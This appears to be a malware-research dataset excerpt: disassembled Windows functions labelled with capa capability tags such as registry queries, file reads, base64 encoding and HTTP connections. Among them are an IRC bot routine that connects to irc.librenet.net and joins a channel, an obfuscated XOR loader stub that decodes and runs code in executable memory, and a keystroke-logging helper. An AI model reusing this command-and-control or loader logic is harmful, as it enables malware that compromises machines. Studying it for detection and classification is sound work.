joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449fa8
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x848
mov eax, 0x49201a
call fcn.0045cdd3
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0xffffffffffffffff
push str.https:__files.acrobat.com_api
mov ecx, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x854], esi
mov dword [ebp - 0x820], ebx
call fcn.00417813
xor eax, eax
mov dword [ebp - 0x838], ebx
inc eax
mov dword [ebp - 0x834], ebx
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x830], ebx
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x828], ebx
mov dword [ebp - 0x824], ebx
lea ecx, [ebp - 0x838]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
cmp dword [ebp + 0xc], ebx
je 0x44a01e
push str.SoftwareAdobeAcrobat_ReaderDCBlueHeron
jmp 0x44a023
push str.SoftwareAdobeAdobe_AcrobatDCBlueHeron
call fcn.00411cc9
lea ecx, [ebp - 0x838]
mov dword [ebp - 0x814], ebx
call fcn.00418bd8
lea ecx, [ebp - 0x814]
push ecx
push 0x20019
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44a116
cmp dword [ebp - 0x814], eax
je 0x44a12b
mov edi, 0x800
lea eax, [ebp - 0x810]
push edi
push ebx
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [ebp - 0x818], 1
lea eax, [ebp - 0x81c]
mov dword [ebp - 0x81c], edi
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x818]
push eax
push ebx
push str.tMasterURL
push dword [ebp - 0x814]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44a116
cmp dword [ebp - 0x818], 1
jne 0x44a116
push 0xffffffffffffffff
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x850]
call fcn.00417865
lea ecx, [ebp - 0x850]
mov byte [ebp - 4], 2
call fcn.00418bd8
cmp dword [ebp - 0x84c], 0
jbe 0x44a0fc
push 0xffffffffffffffff
lea eax, [ebp - 0x850]
mov ecx, esi
push eax
call fcn.00411cc9
lea ecx, [ebp - 0x840]
mov byte [ebp - 4], 1
call fcn.0041394e
lea ecx, [ebp - 0x848]
call fcn.0041394e
cmp dword [ebp - 0x814], 0
je 0x44a12b
push dword [ebp - 0x814]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x828]
call fcn.0041394e
lea ecx, [ebp - 0x830]
call fcn.0041394e
mov eax, esi
call fcn.0045cd82
ret
Function at 0x44b40b
Capabilities:
Read file on windows

Disassembly:
push 0x90
mov eax, 0x492356
call fcn.0045cda0
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x80]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x50], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 4]
mov dword [ebp - 0x30], eax
cmp esi, 0xffffffff
jne 0x44b492
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x4c]
call fcn.00417813
mov byte [ebp - 4], 1
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x2c], vtable.RSException.0
push eax
lea ecx, [ebp - 0x28]
call fcn.00413841
mov dword [ebp - 0x2c], vtable.CMessageException.0
lea eax, [ebp - 0x2c]
push 0x4b8b88
push eax
call sub.MSVCR120.dll__CxxThrowException
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x44b56e
call ebx
cmp eax, 0x3e5
jne 0x44b548
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x44b4f4
dec eax
jne 0x44b498
lea ecx, [ebp - 0x9c]
call fcn.0044a989
push 0x4b8ba4
lea eax, [ebp - 0x9c]
jmp 0x44b48c
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x80]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x44b56e
call ebx
cmp eax, 0x6d
je 0x44b533
cmp eax, 0xe9
je 0x44b533
push 0
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x4c]
call fcn.00417813
mov byte [ebp - 4], 2
jmp 0x44b46a
lea ecx, [ebp - 0x6c]
call fcn.0044a989
push 0x4b8ba4
lea eax, [ebp - 0x6c]
jmp 0x44b48c
cmp eax, 0x6d
je 0x44b533
cmp eax, 0xe9
je 0x44b533
push 0
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x4c]
call fcn.00417813
mov byte [ebp - 4], 3
jmp 0x44b46a
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.0045cd6e
ret 8
Function at 0x44b63a
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x4923af
call fcn.0045cda0
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
jne 0x44b664
lea ecx, [ebp - 0x80]
call fcn.0044a989
push 0x4b8ba4
lea eax, [ebp - 0x80]
push eax
call sub.MSVCR120.dll__CxxThrowException
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x44b6d6
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.00417813
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x64], vtable.RSException.0
push eax
lea ecx, [ebp - 0x60]
call fcn.00413841
mov dword [ebp - 0x64], vtable.CMessageException.0
lea eax, [ebp - 0x64]
push 0x4b8b88
jmp 0x44b65e
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x44b730
call ebx
cmp eax, 0x3e5
jne 0x44b743
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x44b71d
dec eax
jne 0x44b6dc
jmp 0x44b64e
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.0045cd6e
ret 8
call ebx
cmp eax, 0xe8
je 0x44b64e
call ebx
cmp eax, 0xe9
je 0x44b64e
push 0
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.00417813
mov byte [ebp - 4], 2
jmp 0x44b6b2
Function at 0x45d0ce
Capabilities:
Terminate process

Disassembly:
call fcn.00411cc9
jmp 0x45d0d8
push 0x14
push 0x4bbba0
call fcn.0045cef0
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.MSVCR120.dll___crtGetShowWindowMode]
movzx ebx, ax
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, esi
mov esi, 0x4cde1c
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
je 0x45d11f
cmp eax, edx
jne 0x45d108
xor esi, esi
inc esi
mov edi, esi
jmp 0x45d122
xor esi, esi
inc esi
cmp dword [0x4cde20], esi
jne 0x45d134
push 0x1f
call sub.MSVCR120.dll__amsg_exit
pop ecx
jmp 0x45d16f
cmp dword [0x4cde20], 0
jne 0x45d169
mov dword [0x4cde20], esi
push 0x49d838
push 0x49d828
call sub.MSVCR120.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x45d16f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x45d286
mov dword [0x4cd024], esi
cmp dword [0x4cde20], esi
jne 0x45d192
push 0x49d824
push 0x49d4a4
call sub.MSVCR120.dll__initterm
pop ecx
pop ecx
mov dword [0x4cde20], 2
test edi, edi
jne 0x45d19f
xor eax, eax
mov ecx, 0x4cde1c
xchg dword [ecx], eax
cmp dword [0x4cde24], 0
je 0x45d1c3
push 0x4cde24
call fcn.00411cc9
pop ecx
test eax, eax
je 0x45d1c3
push 0
push 2
push 0
call dword [0x4cde24]
mov eax, dword [sym.imp.MSVCR120.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x45d212
test cl, cl
je 0x45d1df
test edi, edi
jne 0x45d212
mov al, byte [esi]
test al, al
je 0x45d1ef
cmp al, 0x20
ja 0x45d1ef
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x45d1df
push ebx
push esi
push 0
push 0x400000
call main
mov dword [0x4cd028], eax
cmp dword [0x4cd02c], 0
jne 0x45d26b
push eax
call dword [sym.imp.MSVCR120.dll_exit]
cmp cl, 0x22
jne 0x45d223
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
movzx eax, cl
push eax
call dword [sym.imp.MSVCR120.dll__ismbblead]
pop ecx
test eax, eax
je 0x45d236
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x45d1d0
cmp dword [0x4cd024], 0
jne 0x45d27f
call dword [sym.imp.MSVCR120.dll__cexit]
mov eax, dword [0x4cd028]
mov dword [ebp - 4], 0xfffffffe
call fcn.0045cf35
ret
Function at 0x45e666
Capabilities:
Encode data using base64

Disassembly:
push 0x34
mov eax, 0x494e5a
call fcn.0045cdd3
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
xor eax, eax
mov dword [ebp - 4], ecx
mov word [ebp - 0x2b], ax
mov esi, ecx
mov eax, dword [ebp + 0x10]
mov byte [ebp - 0x2c], cl
mov byte [ebp - 0x30], cl
mov word [ebp - 0x2f], cx
mov byte [ebp - 0x2d], cl
test eax, eax
je 0x45e7df
mov ecx, dword [ebp + 0xc]
push 3
pop edi
dec eax
mov dword [ebp + 0x10], eax
mov al, byte [ecx]
mov byte [ebp + esi - 0x2c], al
inc esi
mov dl, byte [ebp - 0x2a]
inc ecx
mov bl, byte [ebp - 0x2b]
mov bh, byte [ebp - 0x2c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x31], dl
cmp esi, edi
jne 0x45e730
mov al, bh
mov cl, bh
shr al, 2
and cl, 3
mov byte [ebp - 0x30], al
mov al, bl
shl cl, 4
shr al, 4
add cl, al
mov al, dl
mov byte [ebp - 0x2f], cl
mov cl, bl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, dl
and al, 0x3f
mov byte [ebp - 0x2e], cl
mov byte [ebp - 0x2d], al
xor esi, esi
movzx eax, byte [ebp + esi - 0x30]
lea ecx, [ebp - 0x28]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 0x38], al
push dword [ebp - 0x38]
push 1
call fcn.00411cc9
inc esi
cmp esi, 4
jb 0x45e707
mov dl, byte [ebp - 0x31]
xor esi, esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x45e6b3
test esi, esi
je 0x45e7d6
mov eax, esi
cmp esi, edi
jae 0x45e764
cmp eax, edi
jae 0x45e806
mov byte [ebp + eax - 0x2c], 0
inc eax
cmp eax, edi
jb 0x45e751
mov dl, byte [ebp - 0x2a]
mov bl, byte [ebp - 0x2b]
mov bh, byte [ebp - 0x2c]
mov al, bh
and bh, 3
shr al, 2
mov byte [ebp - 0x30], al
mov al, bl
shr al, 4
and bl, 0xf
shl bh, 4
add bh, al
shl bl, 2
mov al, dl
mov byte [ebp - 0x2f], bh
shr al, 6
and dl, 0x3f
add bl, al
mov byte [ebp - 0x2d], dl
mov byte [ebp - 0x2e], bl
lea eax, [esi + 1]
xor ebx, ebx
test eax, eax
je 0x45e7c1
lea edi, [esi + 1]
movzx eax, byte [ebp + ebx - 0x30]
lea ecx, [ebp - 0x28]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 0x38], al
push dword [ebp - 0x38]
push 1
call fcn.00411cc9
inc ebx
cmp ebx, edi
jb 0x45e79e
push 3
pop edi
cmp esi, edi
jae 0x45e7d6
sub edi, esi
push 0x3d
push 1
lea ecx, [ebp - 0x28]
call fcn.00411cc9
dec edi
jne 0x45e7c7
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x45e7e2
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
push 0xffffffffffffffff
push eax
call fcn.004138ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push 0
push 1
call fcn.00411cc9
mov eax, dword [ebp - 0x3c]
call fcn.0045cd82
ret
call fcn.00411cc9
int3
Function at 0x46cf57
Capabilities:
Read data from internet
Receive data

Disassembly:
push 4
mov eax, 0x49729e
call fcn.0045cda0
xor ebx, ebx
inc ebx
cmp dword [ebp + 0x10], 0
je 0x46d00b
push dword [ebp + 0x14]
call fcn.00411cc9
mov esi, eax
pop ecx
mov dword [ebp - 0x10], esi
and dword [ebp - 4], 0
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x46cff3
lea eax, [edi - 0xc8]
cmp eax, 0x63
jbe 0x46cf9a
cmp dword [ebp + 0x18], 0
je 0x46cff5
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push esi
push dword [eax]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
test ebx, ebx
je 0x46cff5
cmp dword [ebp + 0xc], 0
jbe 0x46cff5
mov eax, dword [ebp + 8]
push dword [eax]
push 0x13
call fcn.00411cc9
mov edi, eax
pop ecx
pop ecx
lea eax, [edi - 0xc8]
cmp eax, 0x63
jbe 0x46cfda
cmp dword [ebp + 0x18], 0
je 0x46cf89
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
mov eax, dword [ecx]
call dword [eax + 0xc]
cmp eax, dword [ebp + 0xc]
je 0x46cf89
mov edi, dword [0x4a8960]
jmp 0x46cf89
xor ebx, ebx
test esi, esi
je 0x46d000
push esi
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
pop ecx
test ebx, ebx
cmove edi, dword [0x4a8960]
jmp 0x46d00e
mov edi, dword [ebp + 0xc]
mov eax, edi
call fcn.0045cd6e
ret 0x14
Function at 0x488764
Capabilities:
Connect to http server

Disassembly:
push 0x50
mov eax, 0x49b28a
call fcn.0045cda0
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
mov dword [ebp - 0x10], ebx
cmp dword [edi + 0x10], ebx
je 0x48887e
cmp dword [edi + 0x14], ebx
je 0x48887e
push dword [edi + 0x14]
lea ecx, [ebp - 0x2c]
push dword [edi + 0x10]
call fcn.00423029
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
call fcn.00418b99
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x4887bc
push 0x80004005
call dword [sym.imp.kernel32.dll_SetLastError]
jmp 0x48886a
cmp dword [edi + 0x24], 0
je 0x4887e5
push dword [edi + 0x28]
lea ecx, [ebp - 0x5c]
push dword [edi + 0x24]
call fcn.00423029
xor ebx, ebx
mov ecx, eax
inc ebx
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], ebx
call fcn.00418b99
mov dword [ebp + 8], eax
jmp 0x4887e8
mov dword [ebp + 8], esi
cmp dword [edi + 0x1c], 0
je 0x488812
push dword [edi + 0x20]
lea ecx, [ebp - 0x44]
push dword [edi + 0x1c]
call fcn.00423029
push 2
pop ecx
or ebx, ecx
mov dword [ebp - 4], ecx
mov ecx, eax
mov dword [ebp - 0x10], ebx
call fcn.00418b99
mov ecx, eax
jmp 0x488814
mov ecx, esi
movzx eax, word [edi + 0x18]
test ax, ax
jne 0x48881f
mov eax, esi
push esi
push 0x400a00
push 3
push dword [ebp + 8]
push ecx
push eax
push dword [ebp - 0x14]
push dword [0x4cd964]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
test bl, 2
je 0x488855
lea ecx, [ebp - 0x34]
and ebx, 0xfffffffd
call fcn.0041394e
lea ecx, [ebp - 0x3c]
call fcn.0041394e
test bl, 1
je 0x48886a
lea ecx, [ebp - 0x4c]
call fcn.0041394e
lea ecx, [ebp - 0x54]
call fcn.0041394e
lea ecx, [ebp - 0x1c]
call fcn.0041394e
lea ecx, [ebp - 0x24]
call fcn.0041394e
mov eax, esi
jmp 0x48888b
push 0x80004005
call dword [sym.imp.kernel32.dll_SetLastError]
xor eax, eax
call fcn.0045cd6e
ret

Function at 0x488891
Capabilities:
Parse url

Disassembly:
push 0x4c
mov eax, 0x49b2b5
call fcn.0045cda0
mov edi, dword [ebp + 0xc]
push 0x3c
pop esi
push esi
push 0
push edi
call sub.MSVCR120.dll_memset
mov ebx, dword [ebp + 8]
xor eax, eax
inc eax
mov dword [edi], esi
add esp, 0xc
mov dword [edi + 8], eax
mov ecx, ebx
mov dword [edi + 0x14], eax
mov dword [edi + 0x20], eax
mov dword [edi + 0x28], eax
mov dword [edi + 0x30], eax
mov dword [edi + 0x38], eax
call fcn.00418b99
mov esi, dword [ebx + 4]
mov ecx, ebx
call fcn.00418b99
push edi
xor edi, edi
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x488930
push edi
push 0xffffffffffffffff
push str.Unable_to_crack_url
lea ecx, [ebp - 0x24]
call fcn.00417813
push ebx
lea eax, [ebp - 0x24]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00413e39
add esp, 0xc
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 1
mov dword [ebp - 0x58], vtable.RSException.0
call fcn.00413841
push 0x4b0a7c
lea eax, [ebp - 0x58]
push eax
call sub.MSVCR120.dll__CxxThrowException
call fcn.0045cd6e
ret
Function at 0x407cb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x110]
push ebx
push ebp
push esi
push edi
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x20]
push 0x40
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x20]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
lea edx, [esp + 0x6c]
push str.USER_1_s______2_s___:3_s___n
push edx
call esi
push str.d3st1n1ty_1_n
push 0x41d6ec
call esi
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xfc]
push eax
push str.NICK___s_abc_n
push ecx
call esi
lea edx, [esp + 0xc8]
push str.JOIN_nyubi_n
push edx
call esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x30
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push str.irc.librenet.net
mov dword [0x41d72c], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x407e94
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x14]
push 0x1a0b
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x41d72c]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edx
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jl 0x407d39
lea edi, [esp + 0x60]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x64]
push ecx
mov ecx, dword [0x41d72c]
push eax
push ecx
mov dword [0x421930], 1
call ebx
lea edi, [esp + 0xe0]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
lea edx, [esp + 0xe4]
not ecx
dec ecx
push ecx
push edx
push eax
call ebx
push 0
push 0xffff
push 0x4079d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0x3e8
call ebp
lea edi, [esp + 0xa0]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x41d72c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp + 0xa8]
push ecx
push edx
call ebx
mov eax, dword [0x421930]
test eax, eax
je 0x407e82
push 0x30d40
call ebp
push 0x40c25c
push 0x41d0e8
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x41d0e8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
push 0x41d0e8
push eax
call ebx
mov eax, dword [0x421930]
test eax, eax
jne 0x407e40
mov ecx, dword [0x41d72c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39
mov edx, dword [0x41d72c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39

Function at 0x1000678b
Capabilities:
Encode data using xor

Disassembly:
inc edi
and dword [ecx + 0x407f2f26], ecx
rcl ebx, 1
adc al, 0x77
inc edi
mov bh, 0x10
sbb esp, edx
sbb eax, 0xdbd56629
and ah, byte [ebx]
loope 0x100067ab
sub eax, 0xf15bec8d
movsd dword es:[edi], dword [esi]
invalid
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x44fb64
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
mov bh, 0xc4
invalid
dec ebp
inc eax
mov bh, 0xa
aas
fst dword [ecx]
xor esp, ebp
add bh, byte [ebx + edi]
cmpsb byte [esi], byte es:[edi]
inc ebx
mov ch, 0x97
fmul st(6), st(0)
jl 0x401099
retf
inc edi
mov eax, 0xa887c268
in al, 0x9a
stosd dword es:[edi], eax
push esi
xor eax, 0x3cf989ff
invalid
Function at 0x402e82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x402e91
pop dword [ebp - 0x30]
mov eax, 0x79b39a8e
sub eax, 0x79736bfd
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x55029f02
add dword [ebp - 0x40], 0xf94fa649
mov dword [ebp - 0x3c], 0xd18e7b52
sub dword [ebp - 0x3c], 0x9f5b2f0d
mov dword [ebp - 0x38], 0xc5677dcb
sub dword [ebp - 0x38], 0x791b399d
mov dword [ebp - 0x34], 0x69760d98
sub dword [ebp - 0x34], 0x69760d98
lea eax, [ebp - 0x40]
push eax
mov eax, 0xd7a38f08
add eax, 0x289cf1fc
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x1f9eb39f
sub dword [ebp - 0x40], 0xab2c4a49
mov dword [ebp - 0x3c], 0x69d66b03
add dword [ebp - 0x3c], 0xd795f672
mov dword [ebp - 0x38], 0xca5e701
add dword [ebp - 0x38], 0x56c9856b
mov dword [ebp - 0x34], 0x4d26fc49
add dword [ebp - 0x34], 0xb2d903b7
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x181dbec5
sub eax, 0x17dd3dc5
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x34162
push 0
call eax
mov ecx, 0x3c5e
mov ebx, eax
mov edx, 0x454200
add edx, dword [ebp - 0x30]
mov edi, 0x426cecbf
add edi, 0x1e1b6c4e
sub dword [ebp - 0x14], 0x99d70e9
mov esi, dword [edx]
sub dword [ebp - 0x2c], 0xd8f5e199
add esi, edi
xor dword [ebp - 0x24], edi
mov dword [ebx], esi
add ebx, 0x2fe6de77
add ebx, 0xd019218d
add edx, 0x783ef1d5
sub edx, 0x783ef1d1
loop 0x402fa7
add eax, 0xb6c12943
sub eax, 0xb6c044f8
xor ebx, ebx
add ebx, eax
add eax, 0x84d35da3
add eax, 0x7b2ca262
mov ecx, 0x802c9b29
sub ecx, 0x7fec9b29
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x405e13
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov ebx, 0x4308e8
push 0x40a574
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.kernel32.dll_GetShortPathNameW]
test esi, esi
mov edi, 0x400
je 0x405e61
push 1
push 0
push esi
call fcn.00405cb9
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push ebx
push esi
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
mov esi, 0x4310e8
push edi
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
push esi
push ebx
push str._ls_ls_r_n
push 0x4304e8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434ef0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00402e82
push 4
push 0xc0000000
push esi
call fcn.00405cb9
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405f80
push 0
push ebp
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405f79
push edi
push esi
push ebp
call fcn.00402e82
test eax, eax
je 0x405f79
push str._Rename__r_n
push esi
call fcn.00402e82
test eax, eax
jne 0x405f17
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405f4c
add eax, 0xa
push 0x40a558
push eax
call fcn.00402e82
mov ebp, eax
test ebp, ebp
je 0x405f48
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405f39
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405f33
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405f4e
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4304e8
push eax
call fcn.00405c74
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00402e82
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405f85
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_MoveFileExW]
test eax, eax
jne 0x405fa8
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405e13
pop ecx
pop ecx
inc dword [0x434f70]
ret 8

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret